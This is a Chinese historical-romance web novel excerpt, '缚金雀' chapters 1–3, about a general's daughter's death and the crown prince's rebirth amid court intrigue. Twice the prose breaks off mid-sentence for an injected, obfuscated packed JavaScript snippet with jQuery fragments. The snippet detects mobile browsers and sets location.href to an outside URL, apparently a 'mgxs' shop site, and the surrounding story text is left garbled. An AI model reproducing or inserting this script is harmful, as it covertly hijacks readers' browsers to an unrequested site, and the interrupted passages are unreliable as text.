《缚金雀》
1. 前世
天色微白。
一夜大雪,下有一尺多厚。
谢府门前挂着白幡,融进雪色,往日气派光鲜的将军府一片败落萧条之感。
府里草木凋了大半,似是多时无人料理,偌大的府院,人丁稀薄,直叫人唏嘘。
“姑娘,喝点药吧。”
深冬寒峭,雕花棂窗大敞着,冷风沾着漫天霜气扑面而来,吹乱了女子的长发。
谢皎皎只着了件贴身的单衣,赤着手脚坐在窗前,端凝着手心的墨玉,寒意侵骨,她像浑然未觉,对着春芽送来的汤药也是无动于衷。
春芽咬着唇,忍不住眼眶的泪水,放下汤药便抱住谢皎皎冰凉的身体。
她自小与谢皎皎一起长大,虽是主仆,更情同姐妹。
春芽看着自家姑娘憔悴的模样,心疼不已,语中尽是哀求。
“姑娘,您同春芽说说话吧!再这样下去,身子如何受得住……”
话还未落,屋门被人推开。
领头的大宫女着石青暗银鼠小袄,白缎袜、青缎鞋,身后跟着一众宫女太监们鱼贯而入,门扇大开,冷森森的寒气直灌进来,屋内的炭火被吹得火星子乱迸。
谢皎皎睫毛微动,下一秒耳侧便响起嗤笑。
“谢家妹妹,多日未见,怎的消瘦至此?”
来人头戴衔金凤冠,点翠嵌东珠,身着水红妆花绣金狐袄,裙边镶银金滚边,簪红宝石钗,耳戴赤金牡丹坠子,周身珠翠环佩,贵气逼人,此刻居高临下的睨着她,唇角衔着讽笑。
谢皎皎看见她,神情微恍。
似是看见了从前的自己。
因家族鼎盛,父亲兄长位高权重,母亲诰命在身,谢皎皎是名副其实的京城第一贵女。
自小出入皇宫,伴太后贵妃膝下长大,不知惹得多少人羡慕。
可笑不过区区几年,一切都已物是人非。
父亲被人陷害至死,母亲忧思而终,两个哥哥战死沙场却落下一个通敌叛国的罪名,她被陆家退亲,终生囚禁不得出……
往日风光无限的将军府如今门庭冷落,人人深知将军府衰败,都忙着撇清关系。
谢皎皎亲眼目睹了父亲被斩立决,府邸被抄,阖府上下几百号人死的死,流放的流放。
官场沉浮,皇家无情,这话倒是一点没有错。
“你来做什么?”
谢皎皎自幼体弱,家破人亡后心中郁结引得寒邪入体,在床榻上躺了几日终不见好转,说话都有些虚弱。
“今日新皇登基,皇上忙着处置乱臣贼子,本宫闲来无事,自然要来看看妹妹的……”
乔锦心走上前,伸手勾住谢皎皎精巧的下巴,护甲刮过肌肤,冰冷生疼。
谢皎皎冷冷看着她。
明明已是阶下囚,竟还是这副高高在上的面孔!
乔锦眼里闪过怨毒,督见她手里的那抹墨色,不由得冷笑。
屋内烛火被风吹得摇晃,乔锦心垂首在她耳侧,语气极尽刻薄。
“妹妹还不知道吧,你心心念念的太子殿下今日已被打入死牢,很快就会被赐下毒酒。”
尖锐的护甲刮破肌肤,血珠溢出,印在苍白的芙蓉面上,宛如盛放的红梅。
谢皎皎手轻颤,一个不稳,墨玉滑落在地,碎成两半。
她怔怔看着,心口像是被一只无形的手攥紧,鼻间酸涩。
太子殿下——
三皇子,萧北瀛。
乔锦心见她终于变了脸色,面上闪过毫不掩饰的快意,她抬脚狠狠碾过碎玉,发出刺耳的咯吱声。
“心疼了?”她挑起谢皎皎的一缕头发,怜悯道,“你心疼他,他又何曾瞧过你一眼?”
谢皎皎避开她,指甲掐进肉里:“与你何干。”
乔锦心忽的颠笑起来。
“哈哈哈……谢皎皎,你居然心疼害你家破人亡的刽子手?!枉你自诩聪明,真是可笑……可笑!”
“一派胡言,你这个疯子……”谢皎皎颤着声,猛地抬眼。
她眸色猩红,起手就是一个清脆的耳光。
乔锦心毫无防备,踉跄着被宫女扶住。
她不可置信:“谢皎皎!你敢打我!”
“打你又如何?”谢皎皎忍着不适捡起玉佩,掀起眼皮。
她赤足一步步走近,乔锦心忍不住想后退,却终究是忍住了。
“来人!”
话音未落,森冷的刀锋便直抵喉口,乔锦心僵住身子,屋内的太监侍女皆是惊恐,围着二人不知是进还是退。
“备马!带我去见太子殿下!”
强撑着身子,谢皎皎脸上尽是狠色。
这把匕首亦是他送的。
通体镶金嵌玉,红色的宝石被切割成碎块,纹路被刻意描成繁复精巧的牡丹纹样。
往日她爱不释手,此刻握着却有些硌人的疼。
是了,他送她为的是玩赏,哪里想得到如今会派上用场。
事情发生太过突然,众人始料未及,不知该有何动作。
刀子又逼近一分,在颈脖处留下血痕,乔锦心吓得花容失色,朝着侍从大吼:“还不备马?!快禀报皇上!”
窗外又簌簌的开始搓棉扯絮,漫天飞雪落在身上,犹如冰刀。
春芽反应过来跟上去,眼泪刷刷落下,谢皎皎停下来,厉色道:“除了车夫,谁也不许跟!”
回眸处,她深深看了眼春芽——
雪珠纷飞,马车摇摇晃晃的向前。
府外的白幡在风雪里飘摇,太监侍女远远跟上,只剩了春芽一人。
春芽怔在原地,想起了往日将军府的热闹嬉笑,想起了姑娘一袭红装时的明媚张扬,想起了全府上下几百人……
怎么会变成这样。
*
新皇登基,全宫上下戒备森严,宫门之上,数千羽林军拿着弓箭,万箭相向。
赤足踏进冷湿的雪地,留下深陷的脚印,风雪凉透了衣衫,眉发上染着霜,四肢都已没了知觉。
多日卧病在床,身子空虚,拿着刀子的手都在忍不住轻颤,谢皎皎咬紧牙关撑着。
她要见他,他不能有事!
乔锦心早已被高处的冷箭吓得失魂,不等谢皎皎开口便急忙道:“全部住手!我乃圣上亲封的皇后!”
宫墙上的人果然放下了弓箭,羽林军统领往下看,一眼便看见了谢皎皎,高声威胁。
“放开皇后娘娘,否则休怪我陆某无情!”
那人赫然就是她的前未婚夫婿,陆晋安。
谢皎皎心里嗤讽,真是墙头草,二皇子刚倒就替新皇做上事了。
自古储君之位下是阴谋阳算,血流成河。
当初嘉德帝壮年不再,眼看皇子们羽翼渐丰,文武大臣各自为了家族荣耀和自身前途挑选明主。
陆家早早站在了二皇子一边,谢家向来只忠皇帝立下的储君,万万没想到他陆家有意设计,想通过联姻将谢家拴在二皇子的船上。
可惜她谢家世代簪缨,只拥正统,一直帮扶太子。
况且乔家投二皇子已久,又一直与谢家争锋相对,不愿武将手握重权,就算将来得了势,怕也不会容忍谢家。
嘉德帝驾崩那日,不知何因,太子的人马被尽数囚困,泽郜同三十二暗骑护送萧北瀛离开,至此无了音讯。
太子一党落败后,皇后把持朝政,最有机会上位的便是亲子二皇子,偏偏这时大皇子横插一脚,和太子联手,顺利登上皇位。
可惜太子萧北瀛麾下的能人高士尽数受了牵连,死的死,伤的伤,最好的也不过是乞骸骨,隐退朝堂。
而她那位所谓的对她倾慕已久的未婚夫,亲自带兵抄了她一家,只是不知为何独独留了她一条性命。
宫门打开,明黄色的身影一步步向谢皎皎走来,身后浩浩荡荡站了一堆侍卫。
萧北祐皱眉:“谢皎皎,你这是做什么?”
谢皎皎将匕首近了近,一脸冷色:“带我见太子哥哥。”
萧北祐凝眸看她,没有作声。
乔锦心心中害怕,看见萧北祐如见救星,哭得梨花带雨:“皇上,你快救救臣妾!臣妾害怕……”
半晌,萧北祐抬手,周围侍卫让开路,他的贴身太监李庆走上前去:“谢姑娘,跟老奴来吧。”
……
锁链穿透琵琶骨将萧北瀛锁在刑柱上,地上的血已凝干,他身上衣衫破旧,血迹斑斑,往日的清隽俊美不再,蓬头垢面,垂着头,不知生死。
她的太子哥哥向来矜贵爱洁,从不容忍身上有一丝脏污,如今却……
谢皎皎抖着手,几乎不敢靠近。
“将人放开!”
一潭死水的眼眸翻起怒浪,她看着萧北祐,全是恨意,周围人不敢有动作,谢皎皎径直将刀尖刺进乔锦心的肩膀,引得她尖叫痛呼。
萧北祐变了脸色,低声吩咐:“解开。”
铁链碰在一起发出清脆的响声,一声声像砸在谢皎皎心上,疼得叫人滴血。
萧北瀛抬起头,看见来人,怔了怔,声音沙哑:“你……怎的来了。”
谢皎皎放开乔锦心,扑上去抱住他,红着眼眶,眼泪一颗颗砸落。
侍卫将他们团团围住,萧北瀛握住她的手,像握着一块寒冰,小姑娘脸色苍白,挂满了泪水,他看着萧北祐,有了怒意。
“萧北祐……放她走!”
牵动了伤口,他身上又开始流血,谢皎皎泪流满面,直摇头:“殿下,我不走。”
她的眼泪滴在他手背上,一颗比一颗滚烫。
萧北瀛看着她瘦削苍白的脸庞,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587428|205342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼底情绪复杂。
她的父兄都因他而死,她若是知道,该是要恨他入骨了。
萧北瀛挪开眼,艰涩道:“这不是你该来的地方,快离开……”
谢皎皎只知摇头。
“我已饮下鸩酒,片刻便会毒发,你……”
话音未落,萧北瀛便克制不住的吐出血来,他松开她。
“皎皎,你走罢……”
萧北祐给了侍卫一个眼神,想要拉开谢皎皎,她却将匕首抵在心口,毫不犹豫地用力。
“住手!”
萧北瀛抬手去夺,却晚了一步。
刀锋眨眼间没入单衣,红梅绽放。
“这样就能陪着爹娘和殿下了。”
谢皎皎嘴角溢出血,倒在他胸前,艰难的露出笑来。
萧北瀛闭了闭眼。
谢皎皎挣扎从怀里掏出碎成两半的墨玉,手抖着,温热血色浸透了玉佩。
那是他们初见时,他送她的。
她竟留了这么多年。
萧北瀛眼眶通红,紧握住她的手,胸口像被石头砸烂了,钻心刺骨的疼。
“都是孤的错……孤对不住你,对不住谢家……”
谢皎皎口中含着血,却强撑着:“不要说了……不要说了太子哥哥……”
“听皎皎说吧……太子哥哥,已、已经好久没有听皎皎说过话了……”
萧北瀛眼底湿润,哑声道:“好。”
“第一次见……是在太后寿宴上,姨母、姨母告诉我,太子殿下生得最是好看……姨母说的果然没、没错……殿下是我见过最好看的人……”
前尘往事走马灯似的历历在目,谢皎皎想到从前的种种美好,忍不住湿润了眼眶。
“后来……二哥教我骑马,我险、险些摔下来,我知道……那天是、是殿下救了我……”
“我不该喝酒的……我最后悔的,就是那夜喝了酒……殿下以前明明对我很、很好的……我想去和你道歉……可、可是你一直不见我……”
“及笈那天……我知道殿下不会来,所以我去找你了……可殿下和乔锦心在一起……殿下陪她赏、赏花灯……我好羡慕、好羡慕……”
“我也好恨……为什么陆晋安喜欢乔锦心……乔锦心却被赐婚给了你……为什么我喜欢殿下,却要、要嫁给陆晋安……老天怎、怎么可以这么捉弄人……”
“这样就很好了……生不能衾,死便……同穴……能、能死在殿下怀里……真、真的很好了……”
谢皎皎泪眼迷蒙,恍惚间好似看见爹娘、兄长们在朝她张开怀抱,她眼皮渐渐合了起来,最后一滴泪滑进鬓角留下泪痕。
她的声音轻得几乎听不见。
“太子哥哥……下辈子……不要别娶别人……娶、娶我好不好……”
握着的手彻底没了力气,她浑身冰凉,眉头锁着,单衣被血染红,恍然间像回到初见。
那日是太后寿宴,她着了绯色锦袄,脖子上挂着金灿灿的长命锁,因太后偏宠她,谢贵妃又爱华贵,粉雕玉琢的雪团子身上缀着的金银宝石一步一响,抱财童子似的。
她也不怕生,场上那么多皇子王孙,她唯独抱着他的大腿不放,张口就是好看哥哥……
终究,是他欠她良多。
他自小受父皇教导,学帝王的冷情冷血,万事利益当前,唯一信任的人除去皇帝便是母亲兄弟。
听闻谢家的小女儿长大后张扬跋扈,他原该不喜,奈何与她牵连越多,竟只觉世人无知,对她多了几分喜爱纵容。
可他是储君,要冷静理智,要利益当先,皇后厌恶谢皎皎,他便将这几分微不足道的喜爱扼杀,有意疏离她。
直到亲母为夺皇位,一心想要斩杀他,来扶持兄长二皇子萧北祺,他的苦心经营付诸东流。
他不甘心!
暗骑助他脱困,大皇子萧北祐却找上了他,想他助他一臂之力。
他同意了。
像惊讶于他的爽快,萧北祐问他:“你图什么?”
萧北瀛冷笑,他向来睚眦必报,只是不想如母亲的意罢了:“不图什么。”
知道萧北祐生性多疑,他那时忽然想到一个娇娇软软的身影,哑声:“事成之后,你大可杀我以绝后患,我知晓你也容不下谢家一族,只求你留下皎皎,保她一世无忧。”
萧北祐自也是答应。
皇后再厉害也料不到他们会联手,萧北祺自然更是敌不过他们两人精心谋划,他助萧北祐成了大业,然后甘愿赴死了却此生。
最哀莫过于心死,他或许可以韬光养晦等候东山再起,只是有些累了,不愿争了。
往事如烟,不堪回首,他颤着手抚平她的眉心,眼眶泛红:“……好。”
若有下辈子,皎皎,孤定不负你。
2. 重生
庆嘉元年,北萧太子萧北瀛亲自率兵攻破西骊鄜城,十万大军长驱直入,半年后便兵临城下,逼得西骊举旗投降,并派遣重臣率议和使团出使北萧。
消息传到北萧,大快人心。
城门大开,皇子们与诸位重臣守在城外,侍卫列于两边,乌泱泱一片人,城内的百姓也堵着城门,围了一圈又一圈,张着脑袋往城外看。
朱色的城门之上,两抹倩身影弓身,悄悄靠近城墙。
城墙的几个守卫反应灵敏,转过头看见来人瞪大了眼睛,连忙就要行礼。
谢皎皎瞪他们一眼:“嘘!”
她生得夭桃秾李,姿容艳似牡丹初绽,眉若远山黛,双瞳剪水,又因是将门之女,举手投足间有与生俱来的英气,此刻扬着下巴朱唇轻抿,倒颇有几分威慑力。
有守卫是新来的,被唬得连连点头。
徐思莞心有顾忌:“要是被你二哥发现了……”
谢皎皎的长兄谢楚河两月前随太子殿下远征西骊,而二兄谢楚川是翊府中郎将,负责都城巡逻和守卫。
今日是北萧大军凯旋的大日子,嘉德帝本就疼爱太子殿下,加上太子殿下立下大功,嘉德帝更是欢喜,本欲御驾亲临,却被群臣劝阻,后命百官亲迎,声势之大可谓壮哉,愈发容不得一点差错。
谢皎皎摆摆手,笃定道:“不会的,我二哥今日亲自带人巡城,定想不到咱们就在城楼上。”
远处着墨色锐甲的军队渐近皇城,印着谢家军和北萧的战旗猎猎,随风鼓动,前面的轻骑勒马缓行,铁蹄下黄沙飞扬,队伍宛若蛟龙游进浩荡看不见尽头。
谢皎皎只凝神逐着军前领军的玄色身影。
在城楼上并看不太清楚,但瞧着那人由远及近而来,身形越来越清晰,谢皎皎心里是说不出的雀跃。
作为储君,嘉德帝对太子抱着极大的期望,自小亲授帝王之策不说,对学问武艺谋略军事也是指了专人精心教导。
好在太子殿下聪慧勤勉,三岁识文,五岁练武,伏天腊月从未有过懈怠,这几年边境动乱,东岐西骊接连挑衅,太子更是随诸多将军历练,东征西伐,无法回宫。
像谢皎皎这样的臣子臣女,除了宫宴,鲜少能看见太子殿下,真真算起来,除了那几次宫宴,他们已有三年未见了。
也不知太子哥哥是否还愿意见她……
临近城门,萧北瀛抬了抬手,一旁的贴身侍卫泽郜勒马转身发令。
“一千北萧军随殿下入城,其余人等驻扎城外,听候调遣。”
“是!”
军队立即一分为二,北萧军眨眼间便跟上了前面的玄色身影,丝毫不拖泥带水。
谢楚河与几名副将整顿好大军,快马追上了萧北瀛。
眼看着军队即将要到达城门,徐思莞偏头看了眼谢皎皎,只见她眼珠子动也不动的直勾勾盯着太子,无奈道:“你且收敛些,莫要被楚河哥哥发现。”
谢皎皎撇了撇嘴:“怕他作甚,发现便发现了,有爹娘和二哥哥护着我,他还能欺负我不成。”
徐思莞摇头失笑。
也是,皎皎自幼嘴甜,深得长辈宠爱,说是谢家的心头肉眼中珠也不为过。
谢皎皎扯了扯徐思莞的袖子:“哎呦!小嫂子,你别担心了,快多看看我大哥,你们俩可是快一年没见了呢!”
徐思莞被她叫得面红耳赤,嗔道:“皎皎你……你休要胡说,我同你兄长……还、还是没影儿的事呢!”
谢皎皎吐了吐舌头,再往下看去时,恰巧对上一道熟悉的视线,心跳都恍若漏了一拍。
太子哥哥。
副将裴钦南顺着萧北瀛的视线看过去,一眼便瞧见了高墙上的两抹倩影,眯了眯眼,吊儿郎当道:“谢楚河,那不是你妹妹和你没过门儿的娘子嘛。”
谢徐两家是世交,结亲之事虽未指明,但众人早已心照不宣。
谢楚河看过去,自小一起长大,自然一眼便将人认了出来,难得红了耳根,瞪他一眼:“不可胡言!”
裴钦南忍不住笑出声来,注意到楼上那抹张扬的红色,像是有几分羡慕:“你妹妹倒是喜欢你得紧,竟是片刻都等不得,要偷到着城墙上等你,也不怕被发现责罚。”
谢楚河面色一僵,看了眼太子殿下,见他面色无常才松了口气:“小丫头被家里宠坏了,不知分寸,让诸位见笑了。”
楼上那抹红色的身影与上辈子自戕在他怀里的人儿重叠。
萧北瀛牵着缰绳的手紧了紧。
这一月来都不是梦,他真的重生了。
她还好好的。
悬了月余的心终于落下,萧北瀛收回了视线,笑了笑:“皎皎率真可爱,自是要好好宠着。”
裴钦南听着不以为意,谢楚河却是眉头一跳,心里掀起轩然大波。
自打皎皎十二岁生辰那日说要嫁太子殿下以后,太子殿下便有意疏离,平日他们提到皎皎,殿下也是为了避嫌更是从不参与……
怎的今日如此反常。
来不及多想,已到城门口,几位皇子都迎上来,萧北瀛看着这些熟悉的面孔,上一世的结局便又浮现眼前。
嘉德帝共十位皇子,适龄帝位的只有前六位,除了大皇子,其余五位都未得善终。
可悲,也甚是可笑。
大皇子萧北祐率先上前,浅笑着:“恭喜殿下凯旋归来。”
他自小身子羸弱,经年累月的喝药,虽气色总是不见好,眉眼间却是越发的温润谦和。
“三弟。”二皇子萧北祺坐在轮椅上,腿上盖着暗紫云纹薄狐衾,由亲卫推近了些。
他打量着萧北瀛,一贯冷漠阴沉的脸上难得浮出笑意:“此番辛苦了。”
萧北瀛看着他眼里的亲厚,又扫过病弱儒雅的萧北祐,一时心里五味杂陈。
他微微颔首:“劳两位皇兄挂念。”
“还有我呢皇兄!”六皇子萧北元挤上前,憨笑道,“你不在这些年,弟弟我可是日思夜盼!”
萧北瀛上下扫过他,拍拍他的肩膀,轻笑:“不错!长高了,也壮实了。”
四皇子萧北恒、五皇子萧北山倒没有这么热络,只从旁冷看着。
嘉德帝的贴身大太监张有福等几位皇子寒暄完才上前行礼,慈眉善目的脸上堆满了笑容:“恭迎太子殿下凯旋!”
除皇子外,重臣侍卫百姓,无不行礼重复。
……
见着人进了城,谢皎皎便拉着徐思莞要走。
“去哪儿啊?”
身后幽幽传来一声清朗的声音,不用说也知道是谁。
“二、二哥?你怎么来了。”谢皎皎瞪大了眼睛,往徐思莞身后躲了躲,“你不应该在城下迎接太子哥哥吗?”
谢楚川有些头疼,这小丫头简直无法无天了,若不是大哥派了亲卫让他来将人带走,他都不知道这丫头居然敢只身带着郡主跑到城墙上来,没事还好,若是遇到个没眼色的,不得被当作刺客就地射死!
“太子殿下已回宫面圣,你随我回府准备一番,晚上皇上设了宫宴。”
谢楚川又看向徐思莞,行了个礼:“郡主也同我们一起吧,先将你送回公主府,晚些宫宴见。”
徐思莞点点头。
想着很快能看见萧北瀛,谢皎皎很是顺从的上了谢楚川带来的马车。
迎太子班师的百姓一路拥着宫车,送完徐思莞,百姓刚刚散开,嘴里都是夸赞之词,谢皎皎挑开帘子,伏在窗牖前,听得一副与有荣焉的模样。
谢楚川有些看不过去,拎着耳朵将她扯回来,叹息:“何时见你对我与大哥这般上心?”
谢皎皎捂着耳朵,尽挑好听的哄人:“自然都是上心的,谁叫我两个哥哥都这般英勇无双,玉树临风!”
谢楚川摇了摇头,尽是无奈:“你呀!”
*
宣政殿内。
掐丝珐琅异兽纹大鼎上方轻烟袅袅,萦回殿角。
殿顶藻井上圆下方石青为底,赤霞丹砂、流翠松石等镂金错彩,穹顶中央盘踞的金蟠龙口衔宝珠,与两旁刻江崖海水纹麟爪鲜明的鎏金缠龙柱相衬。
文臣居东,武将列西,百官按品阶垂手立于丹陛之下,绯色、青色、黑色的朝服次第排开,嘉德帝高坐髹金漆云龙纹宝座,以萧北瀛为首的将领站在殿中央。
西骊地处偏远,以游牧为主,每至秋冬之际,常以两邻交好为由,开口索要粮食布匹,近些年休养生息,兵力渐强,便时时挑衅北萧,扰乱边疆,企图得到更多好处。
这次北萧短短半年便让西骊落败求和,大铩其锋芒,实属不易。
嘉德帝笑道:“与西骊一战,我北萧大获全胜,诸位功不可没,朕心甚慰!”
骠骑将军荆义珂拱手:“此战得胜,多亏了太子殿下。”
“鄜城一战,太子殿下出奇制胜,以区区五百人马逼退了西骊两千铁骑,后又用兵如神,一鼓作气连拿多城,直逼西骊皇城!有储君如此,实乃陛下之幸、我北萧之幸!”
萧北瀛应对自如:“骠骑将军谬赞,西骊之胜,非孤一人之力,众将士皆有功。”
太子立下如此大功依旧不骄不躁,嘉德帝心中十分满意,点点头:“太子所言极是,孤掌难鸣,此番得胜,众将士功不可没!”
说罢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587429|205342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抬了抬手,御前总管张有福立马从小太监手里接过圣旨,众人连忙下跪。
张有福展开圣旨,扯声宣读:“奉天承运皇帝,诏曰:太子瀛,躬承宗庙,勇冠三军。西骊犯境,太子慨然请命,代朕亲征,解朕之忧,用兵有道,连克敌城,扬吾北萧国威,不负朕之所托。
今班师凯旋,朕心甚慰。特赐食邑三千户,加封采邑二百里,增东宫亲卫三百人;另赐内库所藏白玉螭龙佩一枚,汗血良驹‘踏雪’一匹,黄金万两,兵书千卷,蜀锦百匹。
骠骑将军荆义珂,车骑将军、轻骑督尉等众将士,骁勇善战,俱为社稷之臣,各赐白银千两,俸银加倍,荆义珂晋爵‘定远侯’,食邑八百户;其余有功将校,各升秩一等,赏绢布、药材有差。
望太子戒骄戒躁,辅朕安邦;众将同心同德,共护北萧。
布告天下,咸使闻知。钦此!”
众人叩首:“谢皇上隆恩!”
……
下了朝,萧北瀛踏出殿门,往东宫走,萧北祐被人推着跟上去,像由衷的为他高兴:“三弟在军事上的造诣竟如此之高,短短半年便攻下西骊,日后定会更得父皇倚重。”
重活一世,再见萧北祺,看着他困于轮椅同他惺惺作态,萧北瀛心绪复杂。
萧北祺的腿是为了救他没的,皇后因此差点哭瞎了眼,也自此对他冷淡。
前世他愧疚、自责,曾发毒誓要补偿,挖心掏肺的待他们。
可最后……
若是上一世,恨他、要他死的只是萧北祺,他便认了。
他欠他一条命,一双腿。
可皇后呢?
他也是她的亲子啊,他对她言听计从,只盼能体会几分寻常母子间的情分。
她却毫不犹豫的下令要他死!
萧北瀛握紧了拳头,面上却不显,笑道:“皇兄过奖了,天时地利人和罢了,一时侥幸。”
萧北祺也笑了笑,道:“母后听闻三弟凯旋,甚是欣喜,你今日班师,阖该去给母后请安。”
欣喜?
萧北瀛只觉得可笑。
他是萧北祺上位的绊脚石,她随手可杀的弃子,她又怎会为她欣喜呢?
瞧了瞧天色,临近申时,小丫头该进宫了。
想到这,萧北瀛懒得再同他周旋,淡淡道:“明日吧,孤久经沙场,造下杀孽无数,怕冲撞了母后,待今夜回宫沐浴焚香过后,再去母后宫里。”
萧北祺点点头:“也好,还是三弟思虑周全。”
打发走人,萧北瀛径直回了东宫,总管太监李来宝连忙迎上去,身后的宫女太监抬了热水,备好巾帕、衣裳……鱼贯而入。
另一边凤仪宫,皇后正在梳妆,萧北祺自己推了轮子进去。
他对着旁边的宫女:“倒水来。”
宫女很快捧了水来,萧北祺抿了一口便摔了杯盏。
他冷眸微眯。
“想烫死本殿?”
滚烫的热水泼在宫女脸上,宫女当即绷直了身子疼也不敢出声。
瓷片划破了脸,血汩汩的往下流,和眼泪混作一团,她跪着上前一下下的磕头。
“二皇子饶命!二皇子饶命!奴婢罪该万死!……”
萧北祺不做声,阴翳的目光缓缓扫过宫内服侍的宫人,新来的宫女一阵颤栗。
“行了,都下去吧。”
皇后透过铜镜见儿子面色不虞,抬了抬手,宫人们忙不迭都躬身退了出去。
随手拿了支簪子,皇后轻笑:“这是怎么了,拿宫女撒什么气……”
“西骊一战大胜太子本就深得民心,那老东西今日又多番赞赏,儿臣怕……”
太子在前线朝堂的动静皇后都早已知晓,不甚在意:“有母后在,祺儿不必忧心。”
将簪子簪好,皇后对着镜子左右看了看,思付着:“也是时候给太子挑个太子妃了。”
萧北祺皱眉:“太子此番立了大功,现在挑选太子妃岂不是更有助力?”
见儿子没有领会深意,皇后笑着解释:“太子这些年在位拉拢了不少朝臣,除去左仆射顾鼎明,谢家便是头一号,若是把乔家的丫头嫁过去,谢家可还会这般支持?”
乔谢两家不和,众所周知,即便谢家继续支持太子,多少也会心生嫌隙。
“母后此计甚妙。”萧北祺又顾虑,“那陆家那边……陆晋安恐怕……”
陆家的小儿子喜欢乔锦心也不是一天两天了。
皇后想到这也不免有些头疼,叹了口气:“大计为先,儿女情长又算得了什么,陆家那边……自懂本宫的意思……”
……
3. 接风宴
接风宴设在乾安宫。
今日各家重臣都携了家眷,申时宫外陆陆续续停了马车,各家千金看着都是精心打扮过一番的。
太子殿下本就深受嘉德帝宠爱,如今又立下大功,地位更加稳固,朝堂上下心中都有了几分定夺。
太子多年在外征战,储妃的位置尚且空悬,家里有女儿的大臣不免心思活络起来,有心想与东宫结亲。
乔夫人握住乔锦心的手,正色:“西骊战事一结,边疆稳定,储妃一位已空置多年,待太子殿下回朝辅政,此事便该提上日程了,皇后娘娘一直都是有意于你的。”
乔锦心回握住乔夫人的手,正欲开口,透过半掩的车窗,看见了从马车下来的谢皎皎,乔夫人也顺着她的视线看去。
谢皎皎身着大红织金妆花方领补服,五彩丝线挑绣出飞鸟繁花,滚金的宽大袖口绣着缠枝莲纹,配了牙白织金妆花马面裙,双环垂髫上簪着赤金点翠的流苏步摇,额心坠了红宝石,在身旁一众贵女的浓妆淡抹中十分打眼。
乔夫人拍了拍女儿的手,轻笑:“担心她做什么,除去那一张样貌,琴棋书画哪样比得过你。”
乔锦心皱眉:“可是……”
“没有可是!”
想起多年前传遍京城的事,乔夫人不免讽笑。
“三年前她谢家女竟敢在生辰宴上当众扬言要嫁与太子,真是不知羞耻!若不是看在她父亲和谢贵妃的面上,太子殿下哪里还会搭理她!”
乔锦心依旧有些不放心,乔夫人宽慰她:“心儿放心,若太子真对她有意,怎么也会维护一番,凭着谢贵妃和太后的撮合,早该定了亲。”
母亲说的在理,乔锦心稍稍安心。
是了,她谢皎皎不过就是个家世好些,空有一副皮囊的花瓶。
太子殿下才智过人,又向来敬重皇后娘娘,定然不会忤逆娘娘的意思瞧上她。
宫宴尚未开始,各家贵女聚在一道说笑,其中不乏一些阿谀奉承。
徐思莞还没来,谢皎皎觉得无趣,自小在皇城长大,听腻了这些,见时间还早,同她们寒暄几句便起身离开,春芽连忙跟上。
虽说入了春,晚间依旧有些凉。
春芽见起了风,劝道:“姑娘,咱们还是回去吧,染了风寒可就不好了。”
原本只是随意走了走,竟不知不觉走到了东宫门口,想着里面住着的人,谢皎皎忍不住想多留会儿。
“你去太后宫里帮我讨件披风来,我就在这转转。”
太后的长寿宫离这不远,春芽张了张口,还是点点头。
踏进宫门往里走,太子的景毓殿与太后的长寿宫方向相背。
主人回来了,远远可见殿内灯火通明。
定定的站了会儿,隔着蜿蜒曲折的游廊,除了灯火,什么也看不见。
想起一会儿宫宴可以看见萧北瀛,谢皎皎便忍不住欣喜。
天色渐黛,宫道幽深,朱墙明瓦都有些看不清了,怕春芽找不到自己,谢皎皎转身往回走。
李来宝提着琉璃宫灯,为萧北瀛照路,绕过游廊看见朱红的宫门口处模糊不清的身影,眯了眯眼:“殿下,您瞧这……”
幡然一世,幕色重重,单凭个背影也知是她。
萧北瀛眉峰蹙起,沉下脸,边解着披风,边快步过去,李来宝连忙跟上。
夜风穿过宫墙,寒意浸骨,谢皎皎环臂揉搓了下。
下一瞬,肩上稍重,披风上还带着温热的体温。
她微怔,抬眼就撞进一双黝黑深邃的眼眸,心砰砰乱撞。
谢皎皎压住心头的喜意,怔怔的喊了声:“太子哥哥……”
隔了一世,再听到这个称呼,看着谢皎皎眼里难掩的喜色,萧北瀛只觉得心里又熨帖又心疼。
他应了一声,抬手替她系好带子,轻声:“夜里风凉,怎不坐在殿里?”
三年前生辰宴后太子哥哥便有意疏离她,如今被这样温柔以待,谢皎皎有些措手不及,呐呐道:“想来……”看你。
话说了一半,谢皎皎反应过来耳根微红,连忙改了口。
“……殿中有些闷,来透透气。”
知道小丫头上辈子的情意,萧北瀛没戳破,只忍了心口的疼意,嘱咐:“下回记得添衣,切莫染了风寒。”
谢皎皎忙不迭点头。
同时春芽拿着披风回来,萧北瀛视线扫过她:“主子身子弱,平日侍奉须尽心些。”
春芽忙道:“是……奴婢记住了。”
两人一道回了乾安宫,随后嘉德帝携着太后皇后贵妃等也来了。
众人起身拱手行礼,嘉德帝摆摆手:“免礼。”
“谢皇上。”
席间歌舞升平,乐声悠扬,宫女端着菜肴鱼贯而入,斛酬交错间,皇后轻笑:“一眨眼,瀛儿都长这么大了,能在沙场建功立业了!”
太后也笑:“是啊,哀家也老了……”
皇后用手帕压了压唇角,叹了口气:“祐儿,祺儿都有了侧室,老四老五身边也有了人,瀛儿在外头这些年,连个知心人儿都没有……”
立储多年,理应该早早定下储妃,嘉德帝点点头:“确实该给太子物色太子妃了。”
席面倏然静了一瞬。
谢皎皎手里的点心不慎滑落在地,同席的徐思莞察觉,握住了她的手。
